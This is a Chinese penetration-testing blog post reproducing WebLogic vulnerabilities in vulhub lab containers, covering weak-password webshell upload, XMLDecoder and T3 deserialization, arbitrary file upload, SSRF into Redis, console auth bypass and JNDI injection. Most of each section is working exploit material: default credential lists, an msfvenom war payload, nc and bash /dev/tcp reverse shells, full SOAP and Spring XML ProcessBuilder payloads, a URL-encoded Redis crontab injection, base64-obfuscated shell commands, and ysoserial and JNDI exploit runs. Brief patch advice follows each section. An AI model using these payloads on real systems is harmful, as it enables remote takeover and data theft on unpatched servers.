当前位置：首页 > news >正文

中间件漏洞之weblogic

news 来源：原创 2025/8/12 22:35:44

weblogic简介
弱口令+后台getshell
- 漏洞利用
- 修复建议
CVE-2017-10271xmldecoder反序列化漏洞
- 漏洞利用
- 修复建议
CVE-2018-2894任意文件上传
- 漏洞利用
- 修复建议
CVE-2014-4210 weblogic ssrf
- 漏洞利用
- 修复建议
CVE-2020-14882&14883
- 漏洞利用
- 修复建议
CVE-2018-2628
- 漏洞利用
- 修复建议
CVE-2023-21839
- 漏洞利用
- 修复建议
总结

weblogic简介

百度百科：
WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是美商Oracle的主要产品之一，是并购BEA得来。是商业市场上主要的Java（J2EE）应用服务器软件（application server）之一，是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal，WebLogic Integration等企业用的中间件（但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包），以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

给出一个奇安信的研究报告https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ，不过是2019年的
还有一篇某大佬2021年的文章https://www.freebuf.com/vuls/284799.html
实际上weblogic会不断爆出新漏洞，这里只复现其中几个比较典型的。

weblogic占用7001端口

弱口令+后台getshell

漏洞利用

vulhub拉取镜像进入相关漏洞目录执行docker-compose up -d，这个就不详细说了。
如果docker容器报错 the attribute version is obsolete, it will be ignored, please remove it to avoid potential confusion"则进入对应的docker-compose.yml删除version字段，后面的环境一样.

weblogic常用弱口令：
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

然后访问本地7001端口。是一个报错界面，不用管他，访问/console/login/LoginForm.jsp来到后台登录，用刚刚提供的弱口令爆破一下。
我这个环境账号密码是weblogic:Oracle@123
在这里插入图片描述

这个环境还存在一个任意文件读取。
御剑扫后台扫出一个hello目录

在这里插入图片描述
/hello/file.jsp?path=可以读取文件

在这里插入图片描述

不过网上搜到的weblogic任意文件读取大部分都是CVE-2019-2615,之后也会复现这个。
这里还可以尝试读取密码密文
密码密文绝对路径：/root/Oracle/Middleware/user_projects/domains/base_domain/config/co
nfig.xml，相对路径：config/config.xml

密钥路径：/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

读取密码密文文件，但是要手动改为xml格式，找到密文

<node-manager-password-encrypted>{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=</node-manager-password-encrypted>

在这里插入图片描述

密钥我也读取下来了

这里贴2篇文章https://www.freebuf.com/articles/web/220147.html，https://segmentfault.com/a/1190000038225330讲解了解密操作
密钥要burpsuite截取保存，如果想用那个一剑工具解密可以看其他师傅的文章，因为我java version 是18.0.1用不了那个工具。这里使用https://github.com/TideSec/Decrypt_Weblogic_Password的Tools7解密,所以要结合后文getshell后，上传那个参考文章里面提到的文件。下面是getshell后上传jsp文件解密的结果
在这里插入图片描述

先不管怎么解密的继续攻击。
kali终端生成木马：

msfvenom -p java/meterpreter/reverse_tcp host=kali的ip lport=4444 -f war -o java.war

WAR包本质上是一种压缩包。它基于ZIP文件格式，专门用于打包Java Web应用程序，包含了Web应用的所有资源，如Servlet、JSP、HTML、CSS、JavaScript、配置文件等。WAR包的结构是按照特定的目录组织，通常包括WEB-INF和META-INF等目录，这些目录中存放了类文件、库文件、配置文件等。
生成java.war文件传到物理机上（因为我docker环境是开在物理机的）。
登回后台，左侧点击部署

在这里插入图片描述

点击安装，随便点一个

在这里插入图片描述

点击“上载文件”，在“部署档案”右边选择浏览文件，上传java.war，然后下一步，将此部署安装为应用程序，命名自己喜欢什么名就输入什么
在这里插入图片描述
最后点击完成。部署后返回部署首页可以看到。

在这里插入图片描述

kali开启msf，按照下图输入命令

在这里插入图片描述
然后执行run命令，访问目标网站/java这个页面，然后居然报错，经过排查发现可能是kali版本太高的问题，换个低版本kali可能就得.

另一种方法，是将用冰蝎自带的shell.jsp文件压缩成zip文件，再将后缀改为war，将shell.war文件部署在webgoic上。部署的时候一直下一步就行。使用冰蝎链接，反弹shell。这里注意一个地方，就是连接地址不能是localhost:7001/shell不然会报错403，应该是http://localhost:7001/shell/shell.jsp，具体原因我也不太清楚，就是试了一下发现可以，可能是环境配置文件的问题。

在这里插入图片描述

也可以弹一个shell回kali
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc kali_ip 4444 >/tmp/f

在这里插入图片描述

复现完毕。

修复建议

不要使用弱口令。

CVE-2017-10271xmldecoder反序列化漏洞

CVE-2017-10271 是 Oracle WebLogic Server 中的 XMLDecoder 反序列化漏洞。WebLogic 的 WLS Security 组件对外提供 WebService 服务，使用 XMLDecoder 来解析用户传入的 XML 数据，在解析过程中存在反序列化漏洞，未经身份验证的攻击者可利用此漏洞执行任意代码。
受影响的 WebLogic 版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0 等
**漏洞原理：**WebLogic 在解析用户传入的 XML 数据时，若数据中包含恶意构造的 Java 对象表达式，XMLDecoder 会尝试将其反序列化为 Java 对象并执行，攻击者利用这一点构造恶意 XML 数据触发漏洞，进而执行任意命令。
**利用方式：**攻击者通常会构造恶意的 SOAP 请求，其中包含 XMLDecoder 可解析的恶意类对象，通过向 WebLogic 的特定路径（如/wls-wsat/CoordinatorPortType）发送 POST 请求，使目标服务器执行恶意代码，如反弹 shell 等。

XMLDecoder 是 Java.beans 包下的一个类，用于将 XMLEncoder 创建的 XML 文档内容反序列化为一个 Java 对象，是 JDK1.4 版中添加的 XML 格式序列化持久性方案的一部分，可用于读取使用 XMLEncoder 创建的 XML 文档以获取 JavaBeans。
工作原理：XMLDecoder 通过解析 XML 文档中的标记和数据，将其转换为相应的 Java 对象。它会根据 XML 文档中的信息，如类名、属性值等，创建 Java 对象并设置其属性，重建 Java 对象的状态。

有漏洞的地址：

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞利用

vulhub对应目录docker构建好环境后，访问http://目标网站ip:7001//wls-wsat/CoordinatorPortType并用burp抓包，发repeater改用post请求

kali开nc监听9999端口

poc：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.6.128/9999 0&gt;&amp;1</string></void></array><void method="start"></void></object></java></work:WorkContext> </soapenv:Header>  <soapenv:Body/> 
</soapenv:Envelope>

复制以上poc发包

在这里插入图片描述

反弹成功

解读poc：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><!-- 恶意代码 --></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

soapenv:Envelope: 这是SOAP消息的根元素，定义了SOAP消息的命名空间。

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.6.128/9999 0&gt;&amp;1</string></void></array><void method="start"></void></object></java>
</work:WorkContext>

<java class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.6.128/9999 0&gt;&amp;1</string></void></array><void method="start"></void></object></java>

java.beans.XMLDecoder: 这是Java的一个类，用于将XML文档转换为Java对象。
java.lang.ProcessBuilder: 用于创建和管理操作系统进程。
array class=“java.lang.String” length=“3”: 定义了一个包含3个字符串的数组，分别是/bin/bash、-c和一个反向shell命令。
void method=“start”: 调用ProcessBuilder的start方法，执行数组中的命令，从而建立一个反向shell连接到192.168.6.128:9999。

该poc是一个恶意的SOAP消息，利用Java的XMLDecoder类执行任意命令，建立一个反向shell连接到指定的IP和端口，从而实现远程代码执行

修复建议

1.临时解决方案根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口，若Weblogic服务器集群中未应用此组件，建议临时备份后将此组件删除，当形成防护能力后，再进行恢复。
根据实际环境路径，删除WebLogic wls-wsat组件：
rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务
删除以上文件之后，需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
2.官方补丁修复
前往Oracle官网下载10月份所提供的安全补丁
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
升级过程可参考：转自:http://blog.csdn.net/yumengzth/article/details/97522783

CVE-2018-2894任意文件上传

漏洞说明
Oracle在一次更新中，修复了WeblogicWeb Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在“生产模式”下默认不开启，所以该漏洞有一定限制。
简介：WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，可直接获取权限。两个页面分别为/ws_utc/begin.do，/ws_utc/config.do。
影响版本：Oracle WebLogic Server10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3

漏洞利用

先进入vulhub对应目录
docker-compose up|findstr password先获取管理员密码，再关闭环境，再后台重启一次。

在这里插入图片描述

‘weblogic’ admin password: drd4ZsYu

或者：

docker-compose up -d  # 先在后台启动服务，-d参数表示detached模式，即后台运行
docker-compose logs | findstr password

获取密码后登录进去
在左侧点击base_domain，跳转到的页面中点击“高级”

在这里插入图片描述
下滑找到启用web服务测试页勾选，然后点击保存

在这里插入图片描述

访问/ws_utc/config.do

在这里插入图片描述
把工作目录修改为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

因为ws_utc应用的静态文件css目录是无需访问权限的，而默认的工作目录即使上传成功，也无法访问。

左侧点击“安全”，然后主页面点击添加，上传大马，网上找一个。

名字随便起一个，不设Keystore密码，保存。

检查上传的文件名，如下图，id的值是时间戳
在这里插入图片描述

访问http://localhost:7001/ws_utc/css/config/keystore/1737464087035_bigma.jsp
http://localhost:7001/ws_utc/css/config/keystore/时间戳_木马名字.jsp

在这里插入图片描述

成功。

修复建议

不开启Web Service Test Page
对用户上传的文件做检测过滤

CVE-2014-4210 weblogic ssrf

影响版本：
weblogic 10.0.2
weblogic 10.3.6
维基百科：
在计算机安全中，服务器端请求伪造（英语：Server-side Request Forgery，简称SSRF）是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。[1]

服务器端请求伪造攻击将域中的不安全服务器作为代理使用，这与利用网页客户端的跨站请求伪造攻击类似（如处在域中的浏览器可作为攻击者的代理）。

简单的说就是利用一个可发起网络请求的服务当作跳板来攻击其他服务

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如，黑客操作服务端从指定URL地址获取网页文本内容，加载指定地址的图片等，利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

漏洞利用

进入vulhub对应目录docker-compose up -d
环境问题：这里windows11的docker拉取镜像后redis启动不了，用centos7虚拟机上的docker就可以了。

首先要知道内网的 Redis 服务器的ip地址。

docker ps

docker exec -it redis容器的ID ifconfig

在这里插入图片描述
这里是172.18.0.2

接着访问http://your-ip:7001/uddiexplorer/，无需登录即可查看 uddiexplorer 应用。点击search，抓包
参数operator存在ssrf漏洞

在这里插入图片描述

下面payload的ip对应实际ip

http://192.168.6.131:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2

这里探测172.18.0.3,返回80端口未开放
在这里插入图片描述

IP不存在就返回no route to host
在这里插入图片描述
这里直接探测redis的6379端口
http://192.168.6.131:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379
如下图，探测成功，存在这个ip和开放的这个端口

在这里插入图片描述

接着kali开一个nc监听

nc -lvp 7777

在这里插入图片描述

原始payload。看了其他师傅的复现文章，payload前面后面还要随便写点东西

testset 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.6.128/7777 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
bbb

url编码，%0A换成%0D%0A。
最终payload

operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.6.128%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Abbb

反弹成功

在这里插入图片描述

修复建议

限制uddiexplorer应用只能内网访问，禁止在公网开放。
如果业务不需要uddi组件，则删除server/lib/uddiexplorer.war下的SearchPublicRegistries.jsp文件。
升级Weblogic至高版本。

CVE-2020-14882&14883

概述

10 月 21 日，Oracle 官方发布数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882/CVE-2020-14883 可使未经授权的攻击者绕过 WebLogic 后台登录等限制，最终远程执行代码接管 WebLogic 服务器，利用难度极低，风险极大。
此处漏洞均存在于 WebLogic 的控制台中。该组件为 WebLogic 全版本自带组件，并且该漏洞通过 HTTP 协议进行利用。CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

漏洞利用

环境进入vulhub对应文件夹docker-compose up -d即可。
访问weblogic网站这个目录：/console/css/%252e%252e%252fconsole.portal

可以不用登录就进入控制台

在这里插入图片描述
因为是未授权登录，发现没有部署等功能

然后利用这个poc

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/这里填监听机的IP/5555 0>&1]]></value></list></constructor-arg></bean>
</beans>

在poc.xml相同目录下起一个服务器

在这里插入图片描述

另起一个终端nc监听一个端口
在这里插入图片描述

接着访问

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.200.102:8888/poc.xml")

127.0.0.1 改成你的靶机 IP
192.168.142.162 改成你的监听机IP
8888 改成你起的服务器端口

在这里插入图片描述

反弹成功。
参考https://www.cnblogs.com/hetianlab/p/14139548.html

推荐原理分析文章.

修复建议

下载oracle官网发布的补丁
https://www.oracle.com/security-alerts/cpuoct2020traditional.html

CVE-2018-2628

WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序之间传输数据。服务器实例会跟踪连接到应用程序的每个 Java 虚拟机（JVM），并创建 T3 连接来传输流量。攻击者利用RMI（远程方法调用）绕过 WebLogic 黑名单限制，通过 T3 协议发送恶意的反序列化数据。当程序对这些不受信任的序列化 Java 对象进行反序列化时，序列化的对象可以控制代码流，从而可能导致远程代码执行。
T3协议缺陷实现了Java虚拟机的远程方法调用（RMI）,能够在本地虚拟机上调用远端代码。

WebLogic T3协议（Two-Tier TCP/IP Protocol）是Oracle WebLogic
Server中的一种专有协议，它建立在TCP/IP协议之上，用于在客户端和服务器之间进行通信。T3协议是WebLogic
Server的默认通信协议，主要用于处理Java客户端和WebLogic Server之间的交互。

（参考https://blog.csdn.net/weixin_41949472/article/details/135518769）

RMI Remote Method Invocation）允许一个 Java 虚拟机（JVM）上的对象调用另一个 JVM 上的对象的方法，就好像这些对象在本地一样。它通过使用 Java
的序列化机制来传递方法参数和返回值，使得不同 JVM
之间的对象能够进行交互。基本原理是客户端对象通过存根（Stub）代理来调用远程服务器上的对象方法，存根负责将调用请求传递给远程服务器，远程服务器上的骨架（Skeleton）接收请求并调用实际的对象方法，然后将结果通过存根返回给客户端。

JRMP：贴某位大佬的文章https://www.cnblogs.com/gaorenyusi/p/18396965

推荐原理分析文章

weblogic开放控制台的7001端口，默认开启T3协议服务。

漏洞利用

vulhub进入weblogic\CVE-2018-2628构建镜像docker-compose up -d

kali探测一下靶机T3协议是否开放

nmap -n -v -p 7001,7002 192.168.200.102 --scrip weblogic-t3-info
-n：表示不进行 DNS 解析。这样做的目的是为了提高扫描速度
-v：表示启用详细模式（verbose）。它会输出更多的信息
在这里插入图片描述

可以看到靶机开启了T3协议.
这里要下载一个反序列化攻击工具，下载release里面那个jar文件（要jdk8环境），放到kali里面。

1.生成payload：
用这个网站：https://ares-x.com/tools/runtime-exec/
bash -i >& /dev/tcp/192.168.6.128/7777 0>&1粘贴进去生成

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTI4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}

执行

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTI4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"

在这里插入图片描述

2.kali监听nc -lvp 7777

3.下载反序列化攻击工具里面那个exp.py

我直接把它复制到1.py里面了

然后

python 1.py 192.168.200.102 7001 ysoserial.jar 192.168.6.128 8761 JRMPClient

在这里插入图片描述

可以看到反弹shell成功

在这里插入图片描述

修复建议

1、官方补丁：使用正版软件许可账户登录 https://support.oracle.com，下载最新补丁。
2、手动修复：控制T3协议的访问权限。

CVE-2023-21839

WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响范围：
WebLogic_Server = 12.2.1.3.0
WebLogic_Server = 12.2.1.4.0
WebLogic_Server = 14.1.1.0.0
危害级别：高危

漏洞利用

进入vulhub对应目录开启环境
利用方式JNDI注入，用到的工具

https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
还有生成payload的网站https://ares-x.com/tools/runtime-exec/

kali监听7777端口

nc -lvp 7777

生成payload

bash -i >& /dev/tcp/192.168.6.128/7777 0>&1

在这里插入图片描述

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTI4Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}

利用工具开启监听

在这里插入图片描述

由于现在用的是jdk1.8环境，所以复制jdk1.8下面那条地址：
ldap://192.168.6.128:1389/eolxmw
ldap的服务器利用范围更广。

利用exp

.\CVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap "ldap://192.168.6.128:1389/eolxmw"

这个工具会把ldap://192.168.6.128:1389/eolxmw这个地址给weblogic漏洞地址去解析，解析的时候，就会触发刚刚那个jar工具的机制，该工具把恶意代码（之前生成的payload）给目标网站下载下来，从而触发反弹shell。

在这里插入图片描述

修复建议

缓解方式禁用 T3 及 IIOP
目前厂商已发布升级补丁以修复漏洞，可下载安装。

总结

编号	类型	利用方式
无	弱口令、任意文件读取	获得密码进后台，传马
CVE-2018-2894	任意文件上传	后台传马getshell
CVE-2014-4210	SSRF	利用redis协议getshell
CVE-2020-14882	Console远程代码执行	GET、POST、XML
CVE-2018-2628	T3协议反序列化	RMI攻击，yso工具
CVE-2017-10271	XMLDecoder反序列化	构造反弹payload
CVE-2023-21839	JNDI注入	和log4j一致